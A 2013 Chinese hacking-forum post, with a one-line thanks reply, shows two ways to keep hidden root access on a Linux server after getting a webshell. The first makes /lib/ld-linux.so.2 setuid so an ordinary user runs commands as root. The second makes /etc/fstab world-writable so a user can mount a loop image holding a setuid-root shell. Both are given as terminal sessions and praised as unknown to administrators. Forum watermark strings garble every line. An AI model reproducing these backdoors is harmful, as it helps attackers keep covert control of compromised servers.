找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2956|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
5 F2 D8 X$ L. n0 y. B* Z$ S* M  J6 a/ N1 d
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
% U7 ^/ s7 O1 H  Elrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
( {, G& F9 [+ P2 l' Glrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究3 V+ G3 o2 J, W- E+ P" n
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
3 N* p# B* A( \) g[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
6 t& `1 g7 M* T-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究: D4 D+ L1 f) s/ l) Q
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究8 R  u" a! M) ~" l7 O
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究! B3 ?1 z1 h6 {- n0 ~9 ?/ m+ g
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
- [, I" O5 h* L# V2 e+ b/ t2 Y# v- ~6 s% B5 o1 c# ~# R
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究6 J- }1 s- k2 q1 V- g) s
0 I$ i9 @8 Z3 K+ P1 _# I; A- D
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究* _8 n+ P6 p  e- N3 g' k# o; ^
xiaoyu2ezX-BUG-关注前沿信息安全技术研究0 t) E$ e, y+ S0 d" F4 {
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究+ V7 f4 V4 A; L% L& m0 P+ c7 e9 J
root2ezX-BUG-关注前沿信息安全技术研究! \6 I1 s" ?6 Q! F8 S8 a. S
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究2 f9 X1 F0 _; I  r) S2 ]8 s3 Z5 h
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
+ o: @' c' d& r6 ?/ \. [
. b" r6 y& N- t* ?! [: \+ H+ S方法二:2ezX-BUG-关注前沿信息安全技术研究( @+ R, i5 A+ m) U, z
  s% G# E/ g3 B+ r0 s' F
看过程:2ezX-BUG-关注前沿信息安全技术研究6 h$ a4 r% m& a1 S* L8 y* H0 J

; e. o0 j; F6 Y9 O, p6 E5 ?* o[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究2 C$ V9 Z) N; U, D  s2 r8 a
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究# ~1 x5 |7 [% g4 d

7 p+ F" S. z8 E3 ~# G6 W这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
7 E. n' X  L. L9 @) _2 y! `7 ?; [( L* o3 N* t& R! I
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
/ ]9 Y+ D# V' i# z% ?5 U-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究) x8 ^: t% g% m$ E# Z7 ^
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究8 K- P& G; N+ o
8 x( n( A& {5 T3 a4 q1 x
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
( m3 `& R, a& c6 t7 @. q7 W; a
9 t9 x2 P+ C, x" {; A( g9 k- i2 f[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究) c7 J2 @  K7 M: ~! @! s# w
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
; P# E( M4 k  l2 [: z[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
6 q# V9 ?& @1 @8 m[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究$ C! a4 E4 d: l& F- h5 S: @# {
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
8 O9 _: E3 L- R" ]' `: i4 htotal 182ezX-BUG-关注前沿信息安全技术研究9 }- j) X& {# L& H1 L
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
7 _9 N# `5 q$ q* k) D6 _-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究! u" N* [% s$ v" a' D" H
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究2 T; M) K" k: t. ]
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究& A3 k+ w+ u( j- V6 h( c6 j
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
6 j2 X+ G6 e) W0 xtest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
' F/ C: q$ l  J/ s+ T9 V
2 `& D! l" x' ]貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究' T# r) p6 `$ U9 G! f* x; _& [
2ezX-BUG-关注前沿信息安全技术研究( Q4 ~# `* }2 e/ ]6 n  R7 j' \
9 [3 C) `' H& `6 F& W
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表